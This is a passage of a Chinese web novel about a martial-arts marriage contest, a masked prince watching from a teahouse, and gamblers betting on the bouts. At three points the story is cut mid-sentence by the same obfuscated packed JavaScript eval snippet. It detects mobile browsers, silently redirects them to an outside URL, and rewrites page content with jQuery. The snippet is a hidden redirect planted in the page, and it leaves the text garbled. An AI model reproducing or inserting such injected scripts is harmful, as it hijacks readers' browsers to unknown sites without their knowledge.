石涅搓搓手指,露出微笑:“小弟一向通情达理,只是今日出门匆忙,忘了带荷包,没钱光顾茶楼。师兄你看……” 齐陌会意,从袖中摸出来几枚铜板塞到他手里,打发道:“忘带荷包还喝什么茶呀?拿着这几文钱,进去要壶水喝吧!快快快,走走走!” 说着,他手上一用力,就把石涅推去了人群外围。 石涅权当看在嫂子的面上,不再与他缠斗,转身进了茶楼。 一楼已经人满为患,石涅正想上二楼去看看,却在楼梯口被店小二拦了下来。 小二笑得灿烂:“客官,今儿个日子特殊,人人都想到楼上去抢个观景的好位置,您看……” 说着,他还搓了搓手指。 好熟悉的场景,石涅想道,瞧这坐地起价的本领如此一脉相承,自己和他才是师出同门吧! 好在太子护卫的月俸不少,舍出些买路财也不必心疼。石涅从腰封口袋里掏出一块碎银递给他,大踏步地上到了二楼。 围栏旁几乎挤满了人,只有一块“缺口”,恰恰就在正对擂台,视角最好的位置。 那里摆着一张方桌,桌边坐着三个人,两侧立着一对屏风,相当于隔出来一个雅间,使外人无法靠近。 两个衣料华贵之人并肩坐在一张长凳上,像是夫妻。第三人身着暗紫色圆领袍,以银质面具遮住全脸,未露真容。 石涅正在心中暗叹,不知是何人如此财大气粗。定睛一看,却发现那三个人里,有两个他都认识! “林庄主!陶夫人!” 抱着借太子的面子蹭个位置的想法,石涅快步跑上前去。 “好巧啊,你们也在!” 简单寒暄后,石涅见二人还没有邀请自己入座的意思,便猜想那位神秘的第三人才是关键人物。 瞧那人的打扮,似乎也是习武之人,颇有几分江湖气概。 于是石涅冲他行了个江湖礼,微笑道:“在下太子护卫石涅,不知公子如何称呼?” 如果他此刻回身低头,便能发现林晏秋和陶瑛的表情都很微妙,仿佛又想看好戏上演,又怕这出戏引人尴尬。 那神秘人没有答话,一手握拳用指节敲了敲陶瑛面前的桌子,示意让她代为回答。 陶瑛轻咳一声,对石涅正色道:“他是晏秋的堂弟,嗓子坏了,这几日都说不出话。” “喔,原来是林公子!”石涅恍然大悟。 林庄主的堂弟也姓林,这很合理,他想。 林晏秋看热闹不嫌事大,主动邀请道:“正好我们这多一个位置,小石护卫若不嫌弃,就一起坐吧。” 石涅就等她这句话呢,忙不迭应下了。 可是坐下以后,又隐隐觉得不自在起来。 身旁这位林公子……怎么好像有些熟悉呢? 45. 三暗示屡奏弦外音,紫衣人难解无心…… 比武招亲还有约莫一炷香的时间才开始,等待期间,林晏秋故意向石涅问道:“你们殿下呢?没出门来凑凑热闹?” 说着,还有意无意地瞟一眼他身旁的紫衣蒙面人。 石涅对她的暗示浑然无知,一边给另外三人添茶一边回道:“别提了,我今早出门的时候,殿下还没起床呢。听今日当值的同僚们说,殿下特意吩咐了不许打扰他补觉,连午膳都不吃了。嗐,也不知他是真睡还是装睡,反正若换了我是他,那我肯定睡不着。” 说完放下茶壶,一抬头,便发现陶瑛正在捂嘴偷笑,林晏秋莫名垂下了脑袋,还龇着牙倒吸一口凉气。 哎呀哎呀,她方才邀请石涅入座时,虽存着某种揶揄打趣的心思,却不能真把他害了呀! 石涅看着她们的表情,一时有些茫然。 怎么了?他说错什么话了吗?喔……好像是有点妄议主上的嫌疑。 不过无所谓啦,反正殿下又听不见! “小二,你来。”林晏秋招招手唤来茶楼里的伙计,“另上一壶菊花茶。” 语毕看着紫衣人笑道:“给你祛祛肝火。” 虽然面具掩盖了他的一切表情,但是不断轻敲桌面的手指已经出卖了他焦躁不安的心情。 与此同时,林晏秋的第二次好心暗示也被石涅完美错过了。 菊花茶?祛肝火? 哦,对。陶瑛方才说过,“林公子”嗓子坏了,这几日都说不出话。 估计就是上火了吧,是该多喝点菊花茶。 石涅丝毫没有起疑,随口问道:“林庄主,你们三位是何时到的呀?竟占到了这样好的位置。” 林晏秋眼神一转,决定最后再暗示他一次。能听懂最好,听不懂拉倒! “我们仨可不是一起来的。”说着,她冲紫衣人扬了扬眉,“这位置是他提前两日花重金定下的,我和瑛娘来得早不如来得巧,算是沾了他的光。” 语毕在桌下悄悄拍一拍陶瑛的大腿,陶瑛会意,立刻配合道:“说来也有趣,我刚上二楼时,压根没认出来他是谁,都准备去围栏边跟旁人挤一挤了。还好晏秋眼尖,认出了堂弟,才得享这样一处好位置。” 林晏秋随即接过话茬:“我这个堂弟呀,就喜欢戴一张假面出来招摇,瞒得过旁人,可瞒不住他堂姐我。” 陶瑛继续引导话题:“如此说来,我若换身衣裳,戴上面具,你可认得出么?” 林晏秋点头:“那是自然,毕竟咱们日日共处,再熟悉不过了。” 语毕转头看向石涅,眼神时不时往紫衣人的方向瞟去,几乎是在明示:“就像小石护卫成天和太子殿下待在一处,殿下若换身衣袍,戴副面具,小石护卫应该也认得出来吧?” 石涅认真想了想,自信满满点头道:“嗯,定然认得出!” 不知是不是他的错觉,林晏秋听到这句话以后,脸上的表情僵硬了一瞬。与此同时,陶瑛又捂嘴偷笑起来。 这孩子,怎么脑子里缺根弦似的。 “来咯!客官——您要的菊花茶!”茶楼伙计嘹亮的声音缓和了周遭怪里怪气的氛围。 林晏秋把茶壶推到紫衣人面前,憋笑道:“都归你,多喝点,别上火。” 石涅是个热心肠,关心道:“林公子的嗓子坏了有几日?可曾看过郎中?” 陶瑛真想说一句:你若不出现,他的嗓子也用不着“坏”。之所以装成这样,还不是怕你凭声音听出他是谁! 但若真这么说,等石涅回过味来,保不齐得吓个半死。唉,算了算了。 “出来了!出来了!”屏风后的围栏边忽然有人喊道。 与此同时,楼下擂台边的人群也更加嘈杂了几分。 茶楼斜对面便是枕闲书铺,店门从早上关到现在,众人骤见门开,还以为是江御暮出来了,没想到里头只走出一个年轻的蒙眼道人。 她在密密麻麻的人群中穿行,几乎一路无阻,顶着众人探询的目光登上擂台,站定在最中心的位置。 齐陌看清来者后低声惊叹道:“这不是国师吗?” 除他以外,还有几个人也发出了类似的疑问。虽然起初只有几道不大的声音,但这消息一传十,十传百,火速传遍了整片人群。 “什么?他就是那个国师?” “谁谁谁?台上那个?真的假的?” “国师来这干嘛?参加招亲吗?欸,等等,道士能成亲吗?” “……” 费红英板着脸高喊一声肃静,周遭立时安静了不少,偶有议论之声也只是窃窃私语,压不过她的声音去。 至于她是来做什么的?面对不同的人,肯定有着不同的说辞。 在看热闹的百姓面前,她要扮演好皇帝的使臣,代天子出席盛事,与民同乐。 从皇帝的视角出发,她来此却只为一展神通,施法时必得近距离守在擂台边,才能保证请神上身的效果,替江御暮战胜每一位“准夫婿”,也帮太子守住续命的药炉。 对众人简短说了番场面话后,费红英亲自请出江御暮,护着她走上擂台,而后自行退至角落。 江御暮身着杏红圆领袍,长发高高束成一股,细看才能发现其中一缕头发格外短些,被编成了细细的鱼骨辫,尾部平齐如刀削。 至于被削下来的那半缕青丝,此刻正躺在茶馆二楼紫衣人的荷包里,旁边还有一朵已经干枯的红碧桃。 江御暮对众人行了个抱拳礼,没有多言,只向费红英点了点头,后者便朝斜前方走去。 擂台斜前方悬着个铜锣,费红英用木槌敲出一记清脆响声,高喊道:“第一位,蒋濂,蒋公子何在?” 紫衣人渐渐锁起眉头,心道:奇怪,飞鸿影为何要横插一杠?虽说是奉命前来共襄盛举,也不至于如此大包大揽吧?就算江淮照抱病,且不论真假,至少他有个不出面的理由。可是江连镜去哪了?怎么能容忍飞鸿影越俎代庖,在此主持大局? 难道……是皇帝有意干涉?不想让比武招亲顺利进行? 紫衣人正思索着,易容后的江连镜就使轻功纵身一跃,平稳落在了擂台之上,引得台下一阵叫好。 上台以后,他趁着背对众人的片刻工夫,对江御暮眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457655|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眨左眼。这是江连镜时常对她做的动作,顶着他自己的脸做时还算俏皮,顶着此刻这张平平无奇的假脸却有些僵硬。 江御暮对他拱手一揖:“见过蒋公子。” 江连镜回以一礼:“见过江小姐。在下姓蒋名濂,景州人氏。家里做点小生意,掌着一二十间铺子。什么都不缺,就缺您这么一位女主人了。” 此话一出,台下顿时议论纷纷。 “掌着一二十间铺子还叫‘小生意’吗?这也太谦虚了!” “谦虚个屁呀,明显是故意炫耀呢!” “话又说回来,才一二十间铺子,未必入得了户部尚书的眼吧?” “……” 茶楼之上,紫衣人捏紧瓷杯向林晏秋投去一瞥。 林晏秋知道他想问什么,摇摇头笃定道:“此人的话中一定有水分。我常去景州谈生意,与家私厚些的商贾基本都熟识,却从未听过有蒋濂这么一号人。” 陶瑛马上问:“那你觉得他是谎报了姓名?还是谎报了家境?” 林晏秋眯起眼睛,将“蒋濂”的样貌仔细观察一番后答道:“我没见过这号人,就算他真是景州的生意人,也必不是做大买卖的。” 陶瑛啊了一声,叹道:“可我瞧着他的衣料很是名贵呢。” 林晏秋撇撇嘴:“估计是为了骗小姑娘,有意装阔吧。” 石涅咬牙道:“江家人也太不靠谱了,怎么连这点底细都查不清楚!” 紫衣人越听越悬心,却帮不上什么忙,只能牢牢盯住擂台的方向。 台上两人互行一礼,旋即开始交手,都未执兵器,只比拳脚功夫。 所谓外行看热闹,内行看门道。刚过七八个回合,紫衣人便将心放回了肚子里,确信这个“蒋濂”肯定无法获胜。 石涅在一旁嗑着瓜子赞道:“哇,江小姐可以啊!以前还真是深藏不露。” 这一句无心之言落入紫衣人耳中,忽然使他唇角笑容一僵。 是啊,深藏不露,她从前为什么深藏不露?明明身手不凡,却一点也没让他察觉到。 难道是因为……从始至终,她对他都有所防备,不敢全然信任,所以才有所保留? 换言之,其实她压根没有真正把他视作足够可靠的朋友? 一想到这个可能性,紫衣人的神情瞬间冷了下来,只是隔着面具,另外三人都未察觉到异样。 擂台上已过二十回合,江御暮寻了个机会,在江连镜耳边低声吩咐道:“保存体力。” 今日他还要打四场呢,可不能这么早就累坏了。 江连镜其实并不觉得累,但转念一想,江御暮今日要连战“十人”,确实应该尽量缩短每一场交手的时间。 于是他佯装力竭,故意留个破绽,被江御暮一掌打下擂台。 台下响起一片哄笑声,江连镜佯装受伤,口中哎唷痛呼不停,爬起来一头扎进了杏林医馆。 与此同时,费红英走到江御暮身边,对她低声说道:“留意下正对着擂台的茶馆二楼,有个戴面具的人,身旁坐着的似乎是太子护卫石涅。” 46. 李十一匆促露马脚,费杏林目明耳弗…… 江御暮没有朝茶楼的方向看。就算那个面具人是穆归衡又怎么样呢?他现在已经不是她的目标了,没必要多加关注。 费红英再度上前敲响铜锣,喊道:“第一场,江小姐胜!第二位,李十一,李公子何在?” 时异拎着弯刀从人群中走出,规规矩矩走木阶登上擂台,对江御暮行了个抱拳礼,没有多说什么,只道:“请赐教。” 上次在荒院交手时,他还未出招就被她一剑劈断了兵器,不战而败,委实丢脸。这次他学聪明了,不再鲁莽,耐心等待江御暮先出招。 台下有人看不过眼,喊道:“这不是欺负人吗?江小姐都没拿兵器!” 还有人附和道:“就是!刀剑无眼,万一伤着人了怎么办!” 在一片嘘声带来的压力下,时异只好把刀扔去一旁。可是如此一来,气势上就显得矮人三分,失了先机,最后果然草草落败。 江御暮很有主人翁的风度,弯腰捡起时异的弯刀双手递上,对他温柔一笑。 可是等到时异低着头走下擂台,她盯着他逐渐隐入人群的背影,眼中的笑意却已尽数散去。 他有问题,一定有问题。 江御暮还记得第一次见到穆归礼那夜,二人曾交过手。她当时手执长剑,一出招便带着杀意,相当于逼穆归礼全力应对,从而探知他的实力水准。 结论也很明确,穆归礼的身手远逊于江御暮,她若不放点水,他怕是连十个回合都抗不过去。 时异则比他强出许多,即便经了一遭中毒又解毒的折磨,身体尚未完全恢复,却也能与江御暮力战几合,抗下她二十余招。 问题就出在这里。 江御暮记得清清楚楚,荒院谈判那日,穆归礼为了强迫时异服下毒药,曾与他打了一场,而且赢得无比顺利,时异甚至连反击的机会都没有。 这难道还不可疑吗? 若换个奴性重些的人,不敢为了保命奋起反抗,跟主子交锋时束手束脚也就罢了。可从时异那日的表现来看,他并不是这样的孬种。 也就是说,时异明明有实力战胜穆归礼,也有胆识反抗他的无理命令,更有保命求生的本能欲望,可是不知为何,他还是败了。 败得干脆,败得利落,败得不合常理。 想到这里,一个念头忽然跃入江御暮的脑海——他当真与穆归礼反目成仇了吗? 会不会从一开始,他就是穆归礼埋在她身边的一颗暗棋呢? 江御暮居住的偏院少有人至,如果穆归礼想与时异交谈,只需挑个她不在府中的时间翻墙前来即可,左右这也是他做惯了的事。 不过自打进了江府,时异就一直被锁在偏房里,探不到什么有价值的消息。正经算起来,今日还是时异第一次出门“放风”呢。 他虽见过费红英,却连她姓甚名谁都一无所知,即便刚才在擂台上打了个照面,他也没认出眼前这位国师就是所谓的“神医姑娘”。 说起来,时异对江御暮的了解也不算多。因她早有防备,所以让他参与计划时没交实底,只说她不愿草草选人成婚,故而找几个“自己人”相互配合,唱一出双簧。 如果时异仍然效忠于穆归礼,那么他向她“投诚”的举动就很值得玩味了。 早不投诚,晚不投诚,偏偏在费红英让穆归礼暗中提防江家之后才投诚,这个时机选得也颇有意思。 她倒要等着看看,穆归礼打算怎么走这步棋。 随着一声锣响,费红英再度开口:“第二场,江小姐胜!下一位,姜敬,姜公子何在?” 江连镜动作极快,此时已换上一张新脸,笑眼弯弯,观之可亲。 自报家门后,江连镜冷不防提出了一个古怪的要求,使围观众人都为之惊诧。 “江小姐,总是那般打打杀杀的有何趣味?想不想换个新奇的花样?” 先前约定好的流程中并没有这一环,江御暮短暂思考片刻,决定顺着他的话发问:“什么花样?” 江连镜伸出一只手:“掰手腕,如何?三局两胜。” 此话一出,台下诸人又叫喊着插起话来。 “你这厮好生刁滑,掰手腕算什么新奇的花样,不就是想趁机占人家姑娘便宜吗?” 江连镜上前一步,从袖中掏出一方绸帕,嬉皮笑脸道:“兄台这可就误会了!在下为了避嫌,还特意准备了一块帕子呢。隔着如此厚实的帕子掰手腕,也算得上君子了吧?” 这样无耻的言论,自然又引来台下一大片议论之声。 石涅气不过,直接扒着茶馆二楼的栏杆向下喊道:“哪来这许多借口?我看你是自知打不过江小姐,才出此偏门怪招,想靠一把子傻力气取胜吧!” 话音一落,台下就响起阵阵附和声。 “这位小兄弟说得在理!” “就是就是,比武招亲比的是武功,又不是力气!” “姓姜的,你就算这么赢了,可也不能服众啊!” 面对众人的指责,江连镜佯装讪讪,用衣袖擦起汗来。 江御暮适时出面解围:“没关系,就算是单比力气,我也有自信不会输给他。” 众人这才止了骂声,可是心里多少有点不舒服,好像一片好心都被当成了驴肝肺。明明方才还站在江御暮那边,现在却反过来有点希望她吃瘪了。 江御暮不甚在意,向江连镜伸出手道:“开始吧。” 江连镜却摇摇头开始挑剔:“不不不,现在开始还太仓促了。既然要掰手腕,咱们便要坐得稳稳当当的,把胳膊肘抵在桌子上,那样才好发力呀!” 江御暮微微皱眉,正要开口质疑,江连镜却避着众人的视线给她使了个眼色。 她很快反应过来:“也罢,那就借张桌子来吧。” 江连镜从荷包里掏出一块碎银,向台下喊道:“不白借啊!” 银子的力量着实不小,擂台斜对面一家餐馆的掌柜直接命人将一张方桌抬上擂台,还搭了两把木椅,一起摆放整齐。 江御暮和江连镜面对面坐下,用绸帕垫在两手之间,像模像样地掰起手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473060|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 因着距离拉得足够近,此刻他们终于可以低声交流,不必担心被台下人听见。 “你这是唱的哪一出?”江御暮问。 江连镜轻笑道:“一方面是为了拖延时间。上一场你们打得也太快了,我又要换衣服又要换脸,差点来不及上台,紧赶慢赶才没露出马脚……” 江御暮听出他话没说完,便问:“既然有‘一方面’,想来也有‘另一方面’了?” 江连镜微不可察地点了点头:“嗯,当着这么多人,在台上说话实在不方便。我得想办法创造个机会,把消息及时递给你。” 江御暮疑道:“什么消息?”这么急着告诉她,难道是涵州那边出了变故? 她心里一惊,手上就没收住力气,直接把江连镜的手压在了桌面上。 台下立时发出一阵起哄声。 “这个姜敬也不太行嘛!白费心机咯!” “哈哈哈哈,下来吧!” “我要是他,我现在就找个地缝钻进去!” 江连镜仍是一副笑脸,冲着台下回道:“说好了三局两胜,我还没彻底输给江小姐呢。” 台下诸人闻言,大多露出不屑的神情。 “切,还真是不撞南墙不回头啊。” “哼,我就不信他能赢!” 第二局即刻开始,江连镜尽量忽略周遭的干扰,对江御暮低声说:“那个时异不太对劲。费姨说刚才我一走,他就开始打探她和江家的关系,还问她认不认识一位神医姑娘,以及那姑娘的来历等等。” “哼,这么快就藏不住了啊……”江御暮冷笑一声。 这笑容落在围观之人的眼中,便成了她稳操胜券的铁证。 “费姨没说漏嘴吧?”她问。 江连镜小幅度摇摇头:“费姨假装年龄大了耳背,不论时异问什么,她都答非所问。” ——老人家,您跟江家颇有交情吧? ——啊,什么?一身伤疤不消停啊?没事,我给你配一瓶药膏,每日涂三次,坚持一个月就能见效。 ——老人家,我刚才是想问,您经常帮江家办事吗?呃……和我一样? ——哦,你说清凉油啊?对,抹上能顶半日!给你一罐? ——呃,不是,这倒不用。那……您认识一位很年轻的女神医吗?应该也是江家的朋友,她去哪了? ——什么前厅的晨曦?哎唷,我这个医馆的位置不好唷,早上一点阳光都见不到,冷飕飕的,阴天下雨就更别提了! 哼,想从她口中套出消息来?也不打听打听,她费杏林以前是做什么的!跟着长公主耳濡目染那么多年,也学到了些辨别军中奸细的手段。 时异这么个毛头小子,一点事都藏不住,哪里瞒得过她的法眼? “此人该如何处置?”江连镜问。 江御暮很快便做了决定:“先用着,用完了再扔。” 语毕,她再次把江连镜的手按上桌面。 “Goodboy,去准备下一场吧。” 47. 入赌坊陶瑛掷百金,送名帖陆队求药…… 招亲首日这十场比试不到两个时辰便结束了,时间虽短,江御暮却在京中打出了些名气。 明里暗里的各个赌坊也盯上了这块肥肉,就等江家公布第二日的攻擂名单,好开设相应的赌局。到时一定会有不少人押注,赌坊仅靠抽成就能赚得盆满钵满。 “来了来了!名单来了!” 黄昏时分,赌坊终于热闹起来。许多人围成里三层外三层的圈子,一起研究怎么投注才能稳赚不赔。 起初众人都兴致勃勃,可是很快就遇到了难题。 一个长满络腮胡的中年男人摸着下巴说道:“名单上那些人咱都不认得啊!不知其武功高低,这该如何投注?难不成全靠运气吗?” 他身旁的瘦竹竿打趣道:“实在不行就广撒网呗,每一场都下注,每一注都赌江小姐赢。如此一来,哪怕她明日输了比武,只要不输在第六场之前,咱们应该就有得赚吧?” 胡子男不以为然道:“开什么玩笑!十场都下注?你知道那要花出多少钱去么!咱们又没法保证江小姐明日能连赢六场,万一她没有今日这样的好运气,当真遇到了劲敌,咱还不赔到老太爷家去!” 这时,赌坊里混进来一个瘦骨嶙峋的算命先生,灰白的山羊胡稀稀拉拉地垂着,一身蓝色棉袍也被洗褪了颜色。 这已经是他今日光顾的第三家赌坊了,虽说已经在前两家骗……啊不,是赚到了许多银子。但是钱这玩意,谁会嫌它烫手嫌它多呢? 他口中念叨着“百卦百灵”,路过每一位赌客时都会停下脚步,躬身笑道:“算一卦吧,投注包赚。” 因着他索要的卦资并不贵,每问十个人,差不多能赚到三四份钱。 “大师,麻烦您给算算,我应该买哪一场、买谁赢才能赚钱?”赌客们关心的只有这个问题。 那算命先生也早早准备好了答案:“只买第一场即可,就买这个陆一峰,陆壮士赢。第二场到第十场都没必要下注,反正江小姐也挺不到那时候,后头的赌局都要作废。” 大多数赌客要的只是一个答案,问到便急着去下注了,不会深究背后的逻辑。 只有个别人会继续问他:“这是为何?劳烦老先生给讲讲?” 那算命先生也有话说:“江家小姐的姓氏里有什么?有水啊。所谓五行相生亦相克,水怕什么?怕土,水来土掩嘛。那么咱们再看,陆壮士的姓氏是不是刚好能克她?而且啊,不仅陆中有土,他的名字‘一峰’又是什么?是山!你想想,要垒成那么高的山,得用多少土啊?可不是把江小姐克制得死死的吗?” 问到此处,十个赌客里便有一多半要去下注了,只有极少的人会质疑他:“这说法靠谱吗?难道只看姓名的五行生克就能定输赢了?” 算命先生仍然自信满满地笑着:“哎呀,五行之说只是其一,内里的因果缘由更为复杂,就算老夫解释得详尽,外行人也听不明白。所以只能择一个最为通俗易懂的理由,阐释一二啦。” 这当然是他信口胡诌的说辞。 干他们这行的又不需要回头客,往往是捞一票就走。只要当下把话说圆乎了,把钱收入囊中,便可溜之大吉,不必去管此卦准或不准。 退一步讲,他的卦辞不准又如何?反正他只让赌客们下了第一场的注,赢了自然是皆大欢喜,输了也不至于赔太多钱。就算那些人发现自己被骗了,也不至于为了区区一注赌资就追着他“报仇”吧? 话又说回来,其实他对自己“算”的这一卦还是很有信心的,因为他认识那个陆一峰。 今明两日攻擂名单的二十人里,陆一峰是唯一一个京城人氏。 除此之外,他还是城防兵某支小队的队长,不但有百步穿杨的本事,还能将数十斤重的长刀舞得虎虎生风。 在那算命先生看来,今日攻擂的十个草包加在一起,也比不上陆一峰半根手指头。江小姐若与他交手,只怕很快就会败下阵来吧! 一时间,陆一峰成了各大赌坊的押注热门,数不尽的人把发财的希望投射在了他的身上。 与此同时,也有人不服气,偏要反其道而行之。 “我买十场,每场十注,全押江小姐赢!” 那是个年轻女子的声音,话音未落,便吸引了整间赌坊的所有目光。 众人定睛一瞧,来者共三人,一对衣着华贵的年轻夫妇在前,一位戴着纯银面具的紫衣男子在后,看着都像是钱多得烧心的主。 赌坊老板喜笑颜开,忙不迭把钱收下了,提笔将陶瑛的姓名和押注信息登记在册。 陶瑛收下票据,带着另外两人转身便走,仿佛一刻都不想在此多待。 出了赌坊大门,她才向同伴问道:“那个陆一峰是什么来头啊?怎么有那么多人都押他赢?” 石涅先一步回太子府了,此刻没有他在场,穆归衡终于不用再隐藏身份,于是直接答道:“是城防兵队长,武功不错,即便在兵营里也难遇敌手。” 林晏秋打趣道:“瑛娘,你今日也太大方了,直接下了一百注,就不怕全赔进去么?” 陶瑛不爽地哼了一声:“赔进去又怎样?老娘不差那点钱!就是要给御暮壮壮声势!管他是什么城防兵队长,谁说一定就——诶,等等,队长?” 她忽地顿住脚步,另外两人也随之停了下来。 陶瑛的表情很难看:“能做到城防兵的队长,他至少得有三十岁了吧?” 穆归衡给出了更精确的答案:“三十二岁。” “什么!?”陶瑛双手叉腰,似乎难以置信,“他都可以做御暮的叔叔了,江家怎么能这般草率!” 林晏秋紧接着问道:“他都三十二岁了,还没有成亲么?还是说……原配夫人早逝?或和离了?” 穆归衡语气沉重:“不,他有妻子。” 陶瑛几乎要气笑了:“江家是疯了吗?这样的人都不给他筛出去,难不成真愿意让御暮做妾?” 林晏秋的思路与她不同,转而向穆归衡问道:“你还挺了解那个陆一峰的嘛,和他很熟?” 穆归衡沉默片刻才答:“打过交道。” 江御暮“失踪”那日,正是陆一峰带队救下了她。论功行赏时,穆归衡对他的各项情况都有所了解。 那时陆一峰明明表现得十分谨慎,知进退,懂避嫌,生怕得罪了太子。现在怎么却变得如此没分寸? 不明白,穆归衡实在想不明白。 …… 一个时辰前,江御暮看见陆一峰送入府中的名帖时也很意外。 “他是怎么说的?”她问江连镜。 “他说他已有爱妻,无意冒犯于你,只是有事相求,希望能与你见面详谈。” 江御暮记得这个人。 淋雨装病那日,穆归衡曾告诉她:“救下你的是两名城防兵,一人名唤陆一峰,另一人名唤李义。” 无论真相如何,至少从明面上看,这个陆一峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488748|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实是她的救命恩人。 恩人有事相求,她怎么能闭门不见呢? “带他去前院正厅吧,我随后便到。”江御暮对江连镜吩咐道。 一旁的时异全然不知自己已经被她怀疑了,还十分尽责地扮演着她的护卫,殷勤问道:“小姐,卑职可以陪在您身边吗?” 江御暮对他莞尔一笑,拍拍肩道:“不必,你帮我守住院门便好,千万别让外人溜进来。” 言语间,仿佛已经把时异排出了“外人”之列,使他心头一喜。 江御暮甩脱时异,径直去了前院正厅。 陆一峰已然等候在此,江连镜给他倒了茶,他却不好意思喝,似乎有些心神不宁。 江御暮大方上前,拱手道:“见过恩公。” 陆一峰有些自惭,躬身道:“不敢不敢,见、见过江小姐。” 江御暮与他一同落座,找借口打发走了江连镜,才问道:“不知恩公此来所为何事?” 陆一峰不敢看她的眼睛,忐忑垂首道:“趁明日比武招亲的名单还未公布,末将……希望能向您求得一个上台攻擂的机会。” 江御暮面不改色,好奇道:“恩公既然已有妻室,想必此举并不是为了求娶小女吧?” 陆一峰点头如捣蒜:“小姐所言不错。末将若非走投无路,绝不会出此下策,冒昧打扰小姐。” 江御暮微笑道:“恩公不妨有话直说,你遇到了什么麻烦?我如何能帮到你?” 陆一峰深吸一口气,抬眼道:“江小姐,您八成还不知道,城内各个赌坊都盯着江家招亲一事呢,每日都会根据次日的攻擂名单提前开设赌局。” “喔。”江御暮点点头,“我的确不知道这些事。” 不过,这点信息已经够用了。 “你打算下注买自己输,然后在比武中输给我,是么?”江御暮说,“倒是个赚快钱的好法子。” 陆一峰苦笑一声,垂眸坦言道:“末将知道,这样偷奸耍滑令人十分不齿。可是……末将的小女儿病得厉害,全靠药汤吊着一条命。说出来不怕您笑话,末将家里原是供得起她吃药的,只是……唉,兵部推说银子紧缺,已经断了一个月的饷钱,后头还不知要断多久。末将等得起,可是孩子等不起了啊……” 江御暮看得出他的真诚,不由为之一叹。 兵部银子紧缺,是她和江淮照未雨绸缪,有意为之。原意是想倒逼京外各州府裁军,没想到连京内的城防兵都受了影响。 可是按理说,城防兵的饷银并不算多么大额的支出,按照兵部现有的存银来看,完全犯不着在这一节上有所克扣。 除非上头的官员们贪得太多,一层层盘剥下来,连最基本的饷银都不剩多少了。 陆一峰见江御暮沉默许久,还以为她不相信自己,连忙下拜保证道:“江小姐,末将绝非贪财无义之人,愿在此立誓,只求赚够孩子的药钱,绝不多占一分一毫。若违此誓,便受天打雷劈!” 江御暮伸手扶起他,满目同情道:“好,我帮你。” 即便只有三分同情,也要表现出九分来。 “对了,我还认识一个很有能耐的郎中。”说着,她从腰带上拽下一颗铜珠递给陆一峰,“你拿着这个去杏林医馆,找费奶奶给孩子瞧瞧,就说是我的朋友。只要有这颗铜珠,不论看病还是抓药,她都不会收你一文钱。” 能卖城防兵队长一个人情,以后的用处可大着呢。 48. 陆一峰耍刀落陷阱,穆归衡决意断痴…… 次日一早,擂台边挤满了人,十之三四都带着赌坊的票据,打算等结果一出便跑去领钱。 登台前,江御暮在书铺内室挑选兵器,与守在一旁的费红英有一搭没一搭地聊着天。 “我还是不理解,”费红英斜靠在书柜边说道,“既然陆一峰想靠赌局赚钱,那直接随便挑一场下注,买你赢不就行了?何必亲自上阵与你交手呢?” 江御暮一边在兵器箱中挑挑拣拣,一边答道:“你知道我一定会赢,他可不知道。唯有亲自上阵,才能保证稳赚不赔。若把希望寄托在旁人身上,终究还是有风险的。” 费红英又问:“可是赌坊的人又不是傻子,若发现他自己押自己输,肯定能想明白内中蹊跷啊?” 江御暮动作一顿,想了想:“让他妻子去下注不就行了?赌坊的人就算认得他,也不可能认得久居内宅的妇人。” 语毕,她从箱中取出一个长条形的布包,最外层被一条九节鞭牢牢捆着。拆开以后,里头是一把又细又长的利剑,剑尾坠着一块满月形状的血玉。 穆归衡曾在梦里见过这把剑,并将自己被它杀死的场景描述给江御暮听过。 “哟,你今儿是怎么了?连这把剑都给请出来了?”费红英诧异道。 这把剑是长公主亲自锻造,送给江御暮的及笄礼,剑坠上的血玉则是先太后的遗物,意义特殊,不会轻易示于人前。 “不,只是看看,存个念想。”江御暮擦净剑鞘上的灰尘,摇摇头道,“现在还不是它出鞘的时候。” “那你打算用什么兵器?”费红英问,“我听说陆一峰的长刀足有几十斤重,你是打算以硬碰硬,还是以柔克刚啊?” “就这个。”江御暮拎起方才那条九节鞭甩了甩,“舞起来足够花哨,最适合糊弄外行人。” 费红英摸一摸,又掂一掂这条长鞭,忽然觉得后背有些发凉。 若是让它实实在在抽一下,还不得直接看见骨头哇! …… 茶馆二楼,昨日的四人少了一人——石涅没请下来假,只能留在太子府中,盼着今日有事外出的同僚们尽快带回比武招亲的最新消息。 陶瑛靠在栏杆边张望许久,指着人群里一个身负长刀的彪形大汉问穆归衡:“那个就是陆一峰吧?” 穆归衡点点头,面色凝重地嗯了一声。 林晏秋也凑过来看,惊道:“他怎么还带着刀啊?” 